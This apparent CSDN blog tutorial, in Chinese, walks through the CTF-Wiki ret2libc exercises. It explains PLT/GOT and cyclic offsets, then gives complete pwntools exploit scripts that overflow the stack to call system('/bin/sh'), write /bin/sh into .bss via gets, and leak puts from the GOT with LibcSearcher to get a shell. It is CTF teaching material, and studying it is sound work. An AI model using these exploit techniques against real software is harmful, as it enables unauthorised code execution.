CTFWIKI-PWN-ret2libc

目录

1.libc

2.plt 和got

3.调用system

4.flat函数

5.libc泄露

例题1

checksec

ida

计算偏移量

查找system.plt

查找/bin/sh

1.ida

2.ROPgadget

exp

 例题2

checksec

ida

思路

给出流程图

查看bss是否可以写入

exp

 例题3

checksec

ida

偏移量

找puts的got

使用libcsearcher 来查找libc偏移量

完整exp

​编辑 

出现报错不用慌张

附上流程图


1.libc

我们要先明白这种类型是什么 为什么我们可以使用这个

libc 是c语言在电脑中的库   是一个标准库

运用这个库 程序员可以很轻松的解决低级问题

比如获取系统时间、打开和关闭文件、分配和释放内存、格式化和输出字符串等等

2.plt 和got

这里我给出简易版的plt got 的调用

以print函数为例 

就是通过两个表进行查找print函数的真实地址 其实里面还有一个函数是计算处真实地址

简略版流程图

3.调用system

调用完system.plt 需要加入返回地址 随便填写即可 因为我们打开命令就不需要返回

4.flat函数

flat([1,2,3,4])

会自动添加合适的发送方式 就是不用自己在写入p32 p64

5.libc泄露

如果我们无法找到system的plt地址 那我们就无法调用system函数

那我们该怎么找到他呢

假如代码前面执行了puts函数 那我们可以通过puts函数 进行计算 得到libc的版本 然后再通过

puts函数的真实地址 和 通过LibcSearcher工具得到的偏移量 就可以计算出每个函数的基地址

然后通过基地址我们就可以用system的偏移量得到system函数

例题1

以wiki里面的ret2libc1为例

checksec

ida

 存在栈溢出 不存在shellcode

计算偏移量

命令框1
gdb    ret2libc1 

r
输入

aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

返回
*EIP  0x62616164 ('daab')
───────────────────────[ DISASM / i386 / set emulate on ]───────────────────────
Invalid address 0x62616164


命令框2

cyclic  200

cyclic -l daab

查找system.plt

直接看

 

查找/bin/sh

1.ida

2.ROPgadget

ROPgadget --binary ret2libc1  --string '/bin/sh'

 得到地址

我们可以开始编写exp

exp

from pwn import *
p=process('./ret2libc1')
sys_add=0x08048460
bin_add=0x08048720
payload=flat(['A'*112,sys_add,1234,bin_add])
p.sendline(payload)
p.interactive()

 例题2

wiki里的ret2libc2

checksec

ida

 没有/bin/sh字符串了

 存在栈溢出

思路

这里又是应一个思路 我们没有可以使用的字符串 我们该怎么办 我们能不能实现自己输入

这里就可以调用get函数来让我们输入/bin/sh 然后在让system返回到我们输入的地方

给出流程图

查看bss是否可以写入

gdb   ret2libc2
b main
r
vmmap

先看看ida中bss段在哪里

找到了 而且有一个变量可以存入

再看看gdb的

第三个就是bss段的地址区 发现可以写入的

开始编写exp

exp

from pwn import *
p=process('./ret2libc2')
get_add=0x08048460
sys_add=0x08048490
buf2_add=0x0804A080
payload=flat([b'A'*112,get_add,sys_add,buf2_add,buf2_add])
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

这里再次给出wiki的payload的解读流程图

##!/usr/bin/env python
from pwn import *

sh = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
    ['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

 再给出函数的执行流程 防止混乱

 例题3

需要使用LibcSeacher 里面的库可能不全 更新一下因为 我老是报错

解决LibcSearcher找不到合适libc(更新libc)_yongbaoii的博客-CSDN博客

checksec

ida

 不存在/bin/sh

from pwn import *
p=process('./ret2libc3')
elf=ELF('ret2libc3')
put_plt=elf.plt['puts']
put_got=elf.got['puts']
start_addr=elf.symbols['_start']

 不存在system.plt

什么都没有所以我们没有办法用上面的办法

那我们该怎么办呢

我们需要找到libc泄露

我们看看我们在输入前执行了什么函数

 发现有puts函数

因为puts函数执行了所以他的libc就能确定 不会变

不是地址不会变 是函数和puts真实地址的之间的链接是不会变的

所以我们只要使用puts函数的真实地址 求出他们之间的链接

我们就可以找到其他函数 因为这个链接是通用的

我们现在的目标就是寻找puts的got表 来找到真实地址

偏移量

和前面的一样 都是通过cyclic指令实现(不会就是没有认真看)

找puts的got

我们可以使用pwntools的ELF来寻找puts函数的got

from pwn import *
p=process('./ret2libc3')
elf=ELF('ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr=elf.symbols['_start']

这里有一个问题 为什么我们需要找到开始的地址 _start表示程序开始的地址

我们找这个的目的是为了让程序重新执行一遍 因为我们要上传shellcode

一遍我们只能找到got表的泄露 我们要写入的话就要重新执行一下 所以等等通过把start的地址存入返回地址 让程序执行两次

我们可以开始写找到got后的exp了(还没有写完 这是第一次的payload)

from pwn import *
p=process('./ret2libc3')
elf=ELF('ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr=elf.symbols['_start']
payload1=flat([b'A'*112,puts_plt,start_addr,puts_got])
p.sendlineafter('!?',payload1)
puts_addr=u32(p.recv(4))

这样我们得到了puts的真实地址

这里我们解释一下两个代码

p.sendlineafter('!?',payload1)
在出现字符串!?后 注入payload1
puts_addr=u32(p.recv(4))
p.recv(4)接受程序返回的二进制 大小为4字节
u32()为保存为无符号的32位

这里我们就得到了puts_addr的真实地址

使用libcsearcher 来查找libc偏移量

如果下面代码报错了 需要重新载入一下库 因为初始库可能无法使用

更新时间会很长

libc=LibcSearcher('puts',puts_addr)
base=puts_addr-libc.dump('puts')
system_addr=base+libc.dump('system')
bin_addr=base+libc.dump('str_bin_sh')
payload2=flat([b'A'*112,system_addr,1234,bin_addr])

这就是libcsearch的函数 我们来解释一下

libc=LibcSearcher('puts',puts_addr)、
计算出是多少版本的libc
base=puts_addr-libc.dump('puts')
通过计算出来的版本求得puts函数的基值 然后通过真实地址-基值=偏移量
system_addr=base+libc.dump('system')
通过偏移量+这个版本的system基值=真实system函数的地址
bin_addr=base+libc.dump('str_bin_sh')
通过偏移量+这个版本中字符串/bin/sh的基值 = 真实/bin/sh的地址
注意这里(str_bin_sh)是求字符串的写法

记住前面要引入LibcSearch库

完整exp

from pwn import *
from LibcSearcher import *

p=process('./ret2libc3')
elf=ELF('ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr=elf.symbols['_start']
payload1=flat([b'A'*112,puts_plt,start_addr,puts_got])
p.sendlineafter('!?',payload1)
puts_addr=u32(p.recv(4))
libc=LibcSearcher('puts',puts_addr)
base=puts_addr-libc.dump('puts')
system_addr=base+libc.dump('system')
bin_addr=base+libc.dump('str_bin_sh')
payload2=flat([b'A'*112,system_addr,1234,bin_addr])
p.sendlineafter('!?',payload2)
p.interactive()


 

出现报错不用慌张

有这么多选择 一个一个选过去

 我就是选到第八个才可以 老倒霉了

 

附上流程图

 

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值